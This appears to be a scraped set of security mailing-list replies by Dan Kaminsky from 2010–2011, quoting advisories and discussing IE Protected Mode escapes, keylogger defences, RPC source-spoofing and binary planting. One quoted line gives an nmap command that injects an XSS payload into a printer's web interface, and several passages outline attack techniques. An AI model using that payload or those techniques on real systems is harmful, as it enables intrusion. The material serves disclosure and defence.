\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/65", "subject": "Re: verizon vs m$", "index_author": "Dan Kaminsky (Dec 06)", "frm": "Dan Kaminsky ", "date": "Tue, 7 Dec 2010 02:06:53 +0900", "body_html": "\n
Did you read the Reg article? \u00c2\u00a0It has nothing to do with the definition of a "security boundary." \u00c2\u00a0It's not about \nthat at all. \u00c2\u00a0It's about a title tease of "bypassing protected mode" with associated inaccurate content when the \nwhole thing could be summarized with "Protected Mode is not enabled by default in the Intranet zone." \u00c2\u00a0The "boundary" \nconversation, while interesting, is irrelevant here.\n\nI know times are tough and click-throughs on ads need to be maximized, but I don't think misrepresentation of \ntechnical content is appropriate. \u00c2\u00a0I can understand why the Reg would write the article, but I asked Guninski if the \nreason he posted it was because he considered Protected Mode being disabled by default in the Intranet zone some sort \nof security issue.\n
\n\nRead the actual research.\n\n===\nOne vector is through name squatting attacks in the user\u00e2\u0080\u0099s\n\u00e2\u0080\u009cBaseNamedObjects\u00e2\u0080\u009d (BNO) kernel object\nnamespace. In this attack, an object with a fixed name can be created\nwhich is then opened by an\napplication that trusts the object not to be malicious by virtue of it\nexisting in the local namespace\n(which was previously a reasonable assumption). This issue has been\ngiven as an example of why\nProtected Mode is not a security boundary by Microsoft.\n\nAnother vector is through leaked or duplicated handles. Access control\ndecisions are made at the point\nthat an object is opened, so existing handles may provide access to\nresources that are only accessible\nto more privileged contexts if they are transferred between processes.\nHandles in low integrity\nprocesses which have write access rights to higher integrity objects\ncan be considered privileged.\nIt was through this vector that Skywing escaped from Protected Mode\nusing a leaked handle.\n\nThe last vector is through objects which are deliberately shared\nbetween low integrity processes and\nhigher integrity processes. This includes the Window Station kernel\nobject which is shared between\nall processes within the same interactive logon session. With full\naccess to the Window Station, low\nintegrity processes also have access to the Global Atom Table, Window\nStation properties, the user\u00e2\u0080\u0099s\nclipboard and the \u00e2\u0080\u009c\\Default\u00e2\u0080\u009d Desktop object. Such objects can be\ndetected through a tool written as\npart of this research that locates objects open in low and higher\nintegrity processes; to determine if two\nhandles refer to the same object, the kernel mode pointers to the\nobject\u00e2\u0080\u0099s data structure are compared.\n\nThe Global Atom Table is used to store both integers and strings which\nare each indexed by an integer.\nA simple fuzzer was created to fuzz this table, which only caused a\nnull pointer dereference in \u00e2\u0080\u009cProcess\nExplorer\u00e2\u0080\u009d and corruption of Internet Explorer UI elements. Dynamic\nData Exchange (DDE) inter-process\ncommunication occurs through the Global Atom Table and this may be\nsubject to more interesting\nattacks via malicious atom table manipulation.28 Internet Explorer\nalso uses the Global Atom Table\nheavily, but it would seem mostly for User Interface related functionality.\n===\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/73", "subject": "Re: verizon vs m$", "index_author": "Dan Kaminsky (Dec 07)", "frm": "Dan Kaminsky ", "date": "Tue, 7 Dec 2010 18:13:14 +0900", "body_html": "\n
On Tue, Dec 7, 2010 at 6:02 PM, Georgi Guninski <guninski () guninski com> wrote:\n
do i get it right?:\n\n1. the verizon paper is entirely correct\n
\n\nWell, sure.\n\n
2. some interpret it as a feature and some as a bug?\n
\n\nDoes it have to be either?\n\n
\n\nOn Sun, Dec 05, 2010 at 11:25:36PM +0200, Georgi Guninski wrote:\n
in a world like this, verizon kills exploder bugs:\n\nhttp://www.theregister.co.uk/2010/12/03/protected_mode_bypass/\nhttp://www.verizonbusiness.com/resources/whitepapers/wp_escapingmicrosoftprotectedmodeinternetexplorer_en_xg.pdf\n\nthe language doesn't seem passionate:\n-----\nFinally, Microsoft and other software vendors should clearly document which features do and do not\nhave associated security claims. Clearly stating which features make security claims, and which do not,\nwill allow informed decisions to be made on IT security issues.\n-----\n\nlol\n\n--\njoro\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/76", "subject": "Re: verizon vs m$", "index_author": "Dan Kaminsky (Dec 07)", "frm": "Dan Kaminsky ", "date": "Tue, 7 Dec 2010 22:22:42 +0900", "body_html": "\n
On Tue, Dec 7, 2010 at 10:12 PM,  <Valdis.Kletnieks () vt edu> wrote:\n
On Tue, 07 Dec 2010 07:16:34 EST, Larry Seltzer said:\n
2. some interpret it as a feature and some as a bug?\n
\n\n
Does it have to be either?\n
\n\nIt sounds to me as if this is a deliberate design decision, and people are\ndisagreeing over the severity of its implications.\n
\n\nSome people refer to that as a "feee-tchure" or "Broken As Designed". It's\ntechnically not a bug, but it does violate the Principle of Least Surprise.\n\n\n
\n\nTo be fair, "Surprise!  Nothing works" would be a little more surprising.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/102", "subject": "Re: Firefox Addon: KeyScrambler", "index_author": "Dan Kaminsky (Dec 08)", "frm": "Dan Kaminsky ", "date": "Wed, 8 Dec 2010 03:36:02 -0800", "body_html": "\n
Won't work against a hardware keylogger, as it gets the strokes before the driver does.\n\nWon't work against any software aware of it; thread inject into Firefox to get the real keystrokes and it's game over.  \nOr heck, simply pretend to be a firefox process to get the decryption key, assuming it's not fixed.\n\nWould work against some stock, mass distributed keyloggers, I suppose?\n\nSent from my iPhone\n\nOn Dec 8, 2010, at 3:12 AM, mrx <mrx () propergander org uk> wrote:\n\n
-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nHi list,\n\nIs anyone familiar with the firefox addon KeyScrambler? According to developers this encrypts keystrokes.\n\nQuote:\n"How KeyScrambler Works:\nWhen you type on your keyboard, the keys travel along a path within the operating system before it arrives at your \nbrowser. Keyloggers plant\nthemselves along this path and observe and record your keystrokes. The collected information is then sent to the \ncriminals who will use it to\nsteal from you.\n\nKeyScrambler defeats keyloggers by encrypting your keystrokes at the keyboard driver level, deep within the operating \nsystem. When the encrypted\nkeystrokes reach your browser, KeyScrambler then decrypts them so you see exactly the keys you've typed. Keyloggers \ncan only record the\nencrypted keys, which are completely indecipherable."\n\nCan this be trusted? As in trusted I mean not bypassed.\n\nInput from the professionals on this list would be much appreciated.\n\nThank you\nregards\nDave\n\n- -- \nMankind's systems are white sticks tapping walls.\nThanks Roy\nhttp://www.propergander.org.uk\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.2 (MingW32)\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\n\niQEVAwUBTP9oJrIvn8UFHWSmAQIlVAf/T4zUGOaYiAoM/C+8ZFcMhDuOxOznvyXX\nIROHCr51aoQ6ShEIOhHLoQUaqLzZ4zrGirrnX5LFTJ0nmmr6cAG2raMiAi/BYnQb\nUnoXQkZ+9HnThkTSra59aRe8fRaG/MUlsG4lqWxvb0jGuZf2ekk83MPRlDCeXKWw\nCtMEB7YWRyay1kh6DdTAckXNMWXbfOoLAOh55ldmjhM7IN65EKW1rsQDN8Bdn3aX\nXyWWrRUTXDQfkI4mwXlVcGKuObPt8SAW1MgY8wP5q9qK8nAcGj/cig7URg4cVdYM\nSs8/tryrPokTTGy2iSGjil3aQn21K5ANm6UYOSoNFodEq2SO0Hwyug==\n=nUTt\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/557", "subject": "Re: OpenBSD has Open Backdoored Software Distribution - admitted by Theo", "index_author": "Dan Kaminsky (Dec 22)", "frm": "Dan Kaminsky ", "date": "Wed, 22 Dec 2010 16:00:34 -0800", "body_html": "\n
On Wed, Dec 22, 2010 at 3:47 PM, Dave Nett <dave.nett () yahoo com> wrote:\n\n
http://marc.info/?l=openbsd-tech&m=129296046123471&w=2\n\nLong mail which just admit has backdoor, poor Theo.\n\n
\n\n\n    (g) I believe that NETSEC was probably contracted to write backdoors\n        as alleged.\n    (h) If those were written, I don't believe they made it into our\n        tree.  They might have been deployed as their own product.\n\nYou had only one more sentence to read!  Just one!\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/622", "subject": "Re: how i stopped worrying and loved the backdoor", "index_author": "Dan Kaminsky (Dec 24)", "frm": "Dan Kaminsky ", "date": "Fri, 24 Dec 2010 17:08:19 -0800", "body_html": "\n
On Fri, Dec 24, 2010 at 4:37 PM, BMF <badmotherfsckr () gmail com> wrote:\n\n
On Fri, Dec 24, 2010 at 4:27 PM, coderman <coderman () gmail com> wrote:\n
 how many of you have a competent userspace entropy\ndaemon funneling hardware sources into host pool?\n
\n\nIt would be nice if there were inexpensive hardware sources available\nand a means to distribute the entropy among hosts in one's own trusted\ninfrastructure. I have a mail server, a name server, an ntp server\n(usually several), among various other sorts of pieces of\ninfrastructure which serve hundreds or even thousands of servers. Why\nnot an entropy server? It would be nice if I could setup an entropy\ngenerating black box somewhere and attach it via USB to my entropy\nserver host then install a package with a config file on all of my\nmachines pointing to the entropy host. But so far I know of no such\nthing. Do you?\n\n\n
Don't we have hardware RNG in most motherboard chipsets nowadays?\n\n(Not that you should exclusively trust it, but the nature of RNG's is that\nit's easy to mix in sources.)\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/634", "subject": "Re: how i stopped worrying and loved the backdoor", "index_author": "Dan Kaminsky (Dec 25)", "frm": "Dan Kaminsky ", "date": "Sat, 25 Dec 2010 14:43:49 -0800", "body_html": "\n
\n\n\nSent from my iPhone\n\nOn Dec 25, 2010, at 2:38 PM, BMF <badmotherfsckr () gmail com> wrote:\n\n
On Sat, Dec 25, 2010 at 2:12 PM,  <cpolish () surewest net> wrote:\n
Check out Markus Jacobsson et al, "A Practical Secure Physical Random\nBit Generator", 1998, using the turbulence of airflow inside the drive\nas the source of randomness. Can't do much better than that.\n
\n\nI read that when it came out. I am quite familiar with turbulent\nboundary layers. Nobody sells hardware (hard drives, in this case)\nwhich actually implements the technique. All of my original queries\nstill stand.\n
\n\nMaking noisy diodes isn't all that hard, AFAIK. You eliminate bias by only returning difference bits -- 01 is a 0, 10 \nis a 0. Whether the underlying silicon is in fact doing that...well, that's a question for the chip reversers. \n\n
\n\nBMF\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Jan/48", "subject": "Re: Amusing xss against some lexmark printers", "index_author": "Dan Kaminsky (Jan 05)", "frm": "Dan Kaminsky ", "date": "Wed, 5 Jan 2011 19:14:49 -0800", "body_html": "\n
You can use nmap to set the RDYMSG of a printer and xss the printer\nweb interface:\nnmap --script=pjl-ready-message.nse\n--script-args='pjl_ready_message="<script>alert(1);</script>"' . [0]\n\n\n
*chuckles*\n\nWhat's the rendering engine?  WebKit?\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Feb/633", "subject": "Re: Why should the presence of shebang (#!) freak out ANY security conscious guy?", "index_author": "Dan Kaminsky (Feb 24)", "frm": "Dan Kaminsky ", "date": "Thu, 24 Feb 2011 18:49:51 -0800", "body_html": "\n
It's change.  And change is scary.\n\n(Seriously, nothing wrong with hashbang, except perhaps a slightly\nincreased risk of CSRF from people forgetting, yes, the web's broken\nsession management is still broken even with client side JS page\nassembly.)\n\nOn Wed, Feb 23, 2011 at 2:51 PM, Security Conscious\n<securityconsciousguy () gmail com> wrote:\n
Could someone please have a look at these twitter posts:\nhttp://twitter.com/#!/achitnis/status/40444144992260096\nhttp://twitter.com/#!/achitnis/status/40447225658228736\nhttp://twitter.com/#!/achitnis/status/40450742326140928\nand explain why the presence of #! in URLs would freak out ANY security\nconscious guy?\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Apr/33", "subject": "Re: Plumber Injection Attack in Bowser's Castle", "index_author": "Dan Kaminsky (Apr 01)", "frm": "Dan Kaminsky ", "date": "Fri, 1 Apr 2011 09:42:00 -0700", "body_html": "\n
Super Mario Brothers 2 is not vulnerable to this exploit, as it does not\nship with a Bowser.\n\nIt is possible to use the Plumber to inject Wart, but only during sleep(3).\n\nOn Fri, Apr 1, 2011 at 6:59 AM, Nelson Elhage <nelhage () ksplice com> wrote:\n\n
Advisory Name: Plumber Injection Attack in Bowser's Castle\n Release Date: 2011-04-01\n Application: Bowser's Castle\n    Versions: Super Mario Bros., Super Mario Bros.: The Lost Levels\n  Identifier: SMB-1985-0001\n    Advisory: http://blog.ksplice.com/2011/04/smb-1985-0001-advisory/\n\n-----------------------------------------------------------------------\n\nVulnerability Overview\n----------------------\n\n Multiple versions of Bowser's Castle are vulnerable to a plumber injection\n attack. An Italian plumber could exploit this bug to bypass security\nmeasures\n (walk through walls) in order to rescue Peach, to defeat Bowser, or for\n unspecified other impact.\n\nExploit\n-------\n\n http://www.youtube.com/watch?v=rGshxZ1dYjA\n\n This vulnerability is demonstrated by\n "happylee-supermariobros,warped.fm2" [1]. Attacks using this\n exploit have been observed in the wild, and multiple other exploits\n are publicly available.\n\nAffected Versions\n-----------------\n\n Versions of Bowser's Castle as shipped in Super Mario Bros. [2] and Super\n Mario Bros.: The Lost Levels [3] are affected.\n\nSolution\n--------\n\n http://www.youtube.com/watch?v=nacFU7ozeZA\n\n An independently developed patch [4] is available.\n\n A binary hot patch [5] to apply the update to an existing version is also\n available.\n\n All users are advised to upgrade.\n\nMitigations\n-----------\n\n For users unable to apply the recommended fix, a number of\n mitigations are possible to reduce the impact of the vulnerability.\n\n NOTE THAT NO MITIGATION IS BELIEVED TO BE COMPLETELY EFFECTIVE.\n\n Potential mitigations include:\n\n - Employing standard defense-in-depth strategies incorporating\n   multiple layers of defense, including Goombas [6], Koopa Troopas [7],\n   Bullet Bills [8], and others.\n - Installing poison mushrooms outside your castle [9].\n - Installing a firewall to limit access to affected systems. [10]\n - Frequently moving your princess between different castles [11].\n\nCredit\n------\n\n The vulnerability was originally discovered by Mario and Luigi, of Mario\n Bros. Security Research.\n\n The provided patch and this advisory were prepared by Lakitu Cloud\n Security, Inc. The hot patch was developed in collaboration with\n Ksplice, Inc. [12]\n\nProduct Overview\n----------------\n\n Bowser's Castle is King Bowser's home and the base of operations\n for the Koopa Troop. Bowser's Castle is the final defense against\n assaults by Mario to kidnap Princess Peach, and is guarded by\n Bowser's most powerful minions. [13]\n\nReferences\n----------\n\n [1] http://tasvideos.org/1715M.html\n [2] http://en.wikipedia.org/wiki/Super_Mario_Bros.\n [3] http://en.wikipedia.org/wiki/Super_Mario_Bros.:_The_Lost_Levels\n [4]\nhttp://blog.ksplice.com/wp-content/uploads/2011/04/smb-1985-0001.patch\n [5]\nhttp://blog.ksplice.com/wp-content/uploads/2011/04/patch-smb-1985-0001.sh\n [6] http://www.mariowiki.com/Goomba\n [7] http://www.mariowiki.com/Koopa_Troopa\n [8] http://www.mariowiki.com/Bullet_Bill\n [9] http://www.mariowiki.com/Firebar\n [10]\nhttp://tvtropes.org/pmwiki/pmwiki.php/Main/YourPrincessIsInAnotherCastle\n [11] http://www.mariowiki.com/Poison_Mushrooms\n [12] http://www.ksplice.com/\n [13] http://www.mariowiki.com/Bowser%27s_Castle\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/May/360", "subject": "Re: ZDI-11-168: Multiple Vendor librpc.dll Remote Information Disclosure Vulnerability", "index_author": "Dan Kaminsky (May 16)", "frm": "Dan Kaminsky ", "date": "Mon, 16 May 2011 16:20:48 -0700", "body_html": "\n
Don't most TCP/IP stacks block localhost addresses from coming in over the\nnetwork?\n\nOn Mon, May 16, 2011 at 12:44 PM, ZDI Disclosures <\nzdi-disclosures () tippingpoint com> wrote:\n\n
ZDI-11-168: Multiple Vendor librpc.dll Remote Information Disclosure\nVulnerability\nhttp://www.zerodayinitiative.com/advisories/ZDI-11-168\nMay 16, 2011\n\n-- CVE ID:\nCVE-2011-0321 & CVE-2011-1210\n\n-- CVSS:\n9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)\n\n-- Affected Vendors:\nIBM\nEMC\n\n-- Affected Products:\nIBM Informix\nEMC NetWorker\n\n-- TippingPoint(TM) IPS Customer Protection:\nTippingPoint IPS customers have been protected against this\nvulnerability by Digital Vaccine protection filter ID 52.\nFor further product information on the TippingPoint IPS, visit:\n\n   http://www.tippingpoint.com\n\n-- Vulnerability Details:\nThis vulnerability allows remote attackers to register RPC services on\nvulnerable installations of EMC Legato Networker and IBM Informix\nDynamic Server. Authentication is not required to exploit this\nvulnerability.\n\nThe flaw exists within the librpc.dll component which listens by default\non UDP port 111. When handling the pmap_set request the process verifies\nthe source address is "127.0.0.1". This communication is via UDP and a\nvalid source address is not required, a udp packet from source address\n"127.0.0.1" can be created sent to this service allowing a remote\nattacker to register and unregister RPC services. A remote attack can\nuse this vulnerability to create a denial of service condition or\neavesdrop on process communications.\n\n-- Vendor Response:\n\nEMC fix posted January 31, 2011:\nCVE-2011-0321\nhttp://archives.neohapsis.com/archives/bugtraq/2011-01/0162.html\n\nhttp://archives.neohapsis.com/archives/bugtraq/2011-01/att-0162/ESA-2011-003.txt\n\nIBM issued patch May 16, 2011:\nCVE-2011-1210\n11.10 - http://www.ibm.com/support/docview.wss?uid=swg1IC76179\n11.50 - http://www.ibm.com/support/docview.wss?uid=swg1IC76177\n11.70 - http://www.ibm.com/support/docview.wss?uid=swg1IC76178\n\n-- Disclosure Timeline:\n2010-11-15 - Vulnerability reported to vendor\n2011-05-16 - Coordinated public release of advisory\n\n-- Credit:\nThis vulnerability was discovered by:\n   * Anonymous\n\n-- About the Zero Day Initiative (ZDI):\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\na best-of-breed model for rewarding security researchers for responsibly\ndisclosing discovered vulnerabilities.\n\nResearchers interested in getting paid for their security research\nthrough the ZDI can find more information and sign-up at:\n\n   http://www.zerodayinitiative.com\n\nThe ZDI is unique in how the acquired vulnerability information is\nused. TippingPoint does not re-sell the vulnerability details or any\nexploit code. Instead, upon notifying the affected product vendor,\nTippingPoint provides its customers with zero day protection through\nits intrusion prevention technology. Explicit details regarding the\nspecifics of the vulnerability are not exposed to any parties until\nan official vendor patch is publicly available. Furthermore, with the\naltruistic aim of helping to secure a broader user base, TippingPoint\nprovides this vulnerability information confidentially to security\nvendors (including competitors) who have a vulnerability protection or\nmitigation product.\n\nOur vulnerability disclosure policy is available online at:\n\n   http://www.zerodayinitiative.com/advisories/disclosure_policy/\n\nFollow the ZDI on Twitter:\n\n   http://twitter.com/thezdi\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Jun/29", "subject": "Re: COM Server-Based Binary Planting Proof Of\tConcept", "index_author": "Dan Kaminsky (Jun 02)", "frm": "Dan Kaminsky ", "date": "Thu, 2 Jun 2011 08:35:41 -0700", "body_html": "\n
Does this run code without prompting, on a reasonably default configuration?\n\nOn Thu, Jun 2, 2011 at 7:52 AM, ACROS Security Lists <lists () acros si> wrote:\n
\n\nWe published a remote/local proof of concept for the COM Server-Based Binary Planting\nexploit presented at the Hack in the Box conference in Amsterdam.\n\nFeel free to try it out online if WebDAV works through your firewall, or download it\nand test it in your local network or simply on your computer.\n\nhttp://blog.acrossecurity.com/2011/06/com-server-based-binary-planting-proof.html\nor\nhttp://bit.ly/iSxHKO\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before Others Do\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Jun/37", "subject": "Re: COM Server-Based Binary Planting\tProofOfConcept", "index_author": "Dan Kaminsky (Jun 02)", "frm": "Dan Kaminsky ", "date": "Thu, 2 Jun 2011 11:29:33 -0700", "body_html": "\n
Two things:\n\n1) Are you sure a stock build of Windows doesn't pop a security\nwarning when right clicking the file:// IFRAME?  You might have munged\nyour test OS.\n2) You're getting closer with this "Send To" stuff, but you're still\nsocially engineering.  Definitely better than classic "please download\nand execute this file" though.\n\nYou really should stop talking about exploits against Powerpoint etc.\nAs long as I can make an .exe that visually looks pixel for pixel like\na .ppt, the security model you imagine (that the desktop can\ndifferentiate between code execution and document editing) doesn't\nexist.  This work is better, if incomplete.\n\nOn Thu, Jun 2, 2011 at 9:32 AM, Mitja Kolsek <mitja.kolsek () acros si> wrote:\n
\n\nThor, the "Online Proof of Concept" section of the blog post points you to a *remote*\nexploit (without any warning) but let me repeat the link here:\n\nhttp://www.binaryplanting.com/demo/XP_2-click/test.html\n\nVisit this with IE8 on 32-bit Windows XP.\n\nPlease find further information here:\n\nhttp://blog.acrossecurity.com/2011/05/anatomy-of-com-server-based-binary.html\nhttp://blog.acrossecurity.com/2011/05/silently-pwning-protected-mode-ie9-and.html\n\nIn general there are two types of remote binary planting exploits: SMB and WebDAV.\nThe former works inside (local) networks where firewalls block outbound SMB traffic.\nWebDAV attacks work through firewalls too since many firewalls allow outbound WebDAV\ntraffic and Windows silently fall back to WebDAV if SMB doesn't work. If our online\nremote exploit doesn't work for you, you can download the PoC locally and test it in\nyour local network.\n\nI'll be happy to explain it to you further if need be.\n\nThanks,\nMitja\n\n\n
-----Original Message-----\nFrom: Thor (Hammer of God) [mailto:thor () hammerofgod com]\nSent: Thursday, June 02, 2011 6:00 PM\nTo: security () acrossecurity com; 'Dan Kaminsky'\nCc: full-disclosure () lists grok org uk; bugtraq () securityfocus com\nSubject: RE: [Full-disclosure] COM Server-Based Binary\nPlanting ProofOfConcept\n\nBut it *is* worth mentioning that you have to create the\nmalicious dll file, copy it to the system, create folders\netc, and all the other mumbo jumbo to "exploit" this in the\n"default configuration." \u00c2\u00a0 So, the answer to Dan's question\nis actually, "no, you can't." \u00c2\u00a0Which brings into question the\nactual "worth" of mentioning this in the first place. :)\n\nt\n\n
-----Original Message-----\nFrom: full-disclosure-bounces () lists grok org uk\n[mailto:full-disclosure- bounces () lists grok org uk] On\n
Behalf Of ACROS\n
Security Lists\nSent: Thursday, June 02, 2011 8:42 AM\nTo: 'Dan Kaminsky'; security () acrossecurity com\nCc: full-disclosure () lists grok org uk; bugtraq () securityfocus com\nSubject: Re: [Full-disclosure] COM Server-Based Binary\n
Planting Proof\n
OfConcept\n\nIt would hardly be worth mentioning otherwise.\n\nCheers,\nMitja\n\n
-----Original Message-----\nFrom: full-disclosure-bounces () lists grok org uk\n[mailto:full-disclosure-bounces () lists grok org uk] On\n
Behalf Of Dan\n
Kaminsky\nSent: Thursday, June 02, 2011 5:36 PM\nTo: security () acrossecurity com\nCc: si-cert () arnes si; full-disclosure () lists grok org uk;\nbugtraq () securityfocus com; cert () cert org\nSubject: Re: [Full-disclosure] COM Server-Based Binary Planting\nProof OfConcept\n\nDoes this run code without prompting, on a reasonably default\nconfiguration?\n\nOn Thu, Jun 2, 2011 at 7:52 AM, ACROS Security Lists\n<lists () acros si>\nwrote:\n
\n\nWe published a remote/local proof of concept for the COM\n
Server-Based\n
Binary Planting exploit presented at the Hack in the Box\n
conference in Amsterdam.\n
\n\nFeel free to try it out online if WebDAV works through your\n
firewall,\n
or download it and test it in your local network or simply\n
on your computer.\n
\n\n\n
\n\n
http://blog.acrossecurity.com/2011/06/com-server-based-binary-planti\n
ng\n
-proof.html\nor\nhttp://bit.ly/iSxHKO\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before\n
Others Do\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2011/Jun/25", "subject": "Re: [Full-disclosure] COM Server-Based Binary Planting Proof Of Concept", "index_author": "Dan Kaminsky (Jun 02)", "frm": "Dan Kaminsky ", "date": "Thu, 2 Jun 2011 08:35:41 -0700", "body_html": "\n
Does this run code without prompting, on a reasonably default configuration?\n\nOn Thu, Jun 2, 2011 at 7:52 AM, ACROS Security Lists <lists () acros si> wrote:\n
\n\nWe published a remote/local proof of concept for the COM Server-Based Binary Planting\nexploit presented at the Hack in the Box conference in Amsterdam.\n\nFeel free to try it out online if WebDAV works through your firewall, or download it\nand test it in your local network or simply on your computer.\n\nhttp://blog.acrossecurity.com/2011/06/com-server-based-binary-planting-proof.html\nor\nhttp://bit.ly/iSxHKO\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before Others Do\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2011/Jun/28", "subject": "Re: [Full-disclosure] COM Server-Based Binary Planting ProofOfConcept", "index_author": "Dan Kaminsky (Jun 03)", "frm": "Dan Kaminsky ", "date": "Thu, 2 Jun 2011 11:29:33 -0700", "body_html": "\n
Two things:\n\n1) Are you sure a stock build of Windows doesn't pop a security\nwarning when right clicking the file:// IFRAME?  You might have munged\nyour test OS.\n2) You're getting closer with this "Send To" stuff, but you're still\nsocially engineering.  Definitely better than classic "please download\nand execute this file" though.\n\nYou really should stop talking about exploits against Powerpoint etc.\nAs long as I can make an .exe that visually looks pixel for pixel like\na .ppt, the security model you imagine (that the desktop can\ndifferentiate between code execution and document editing) doesn't\nexist.  This work is better, if incomplete.\n\nOn Thu, Jun 2, 2011 at 9:32 AM, Mitja Kolsek <mitja.kolsek () acros si> wrote:\n
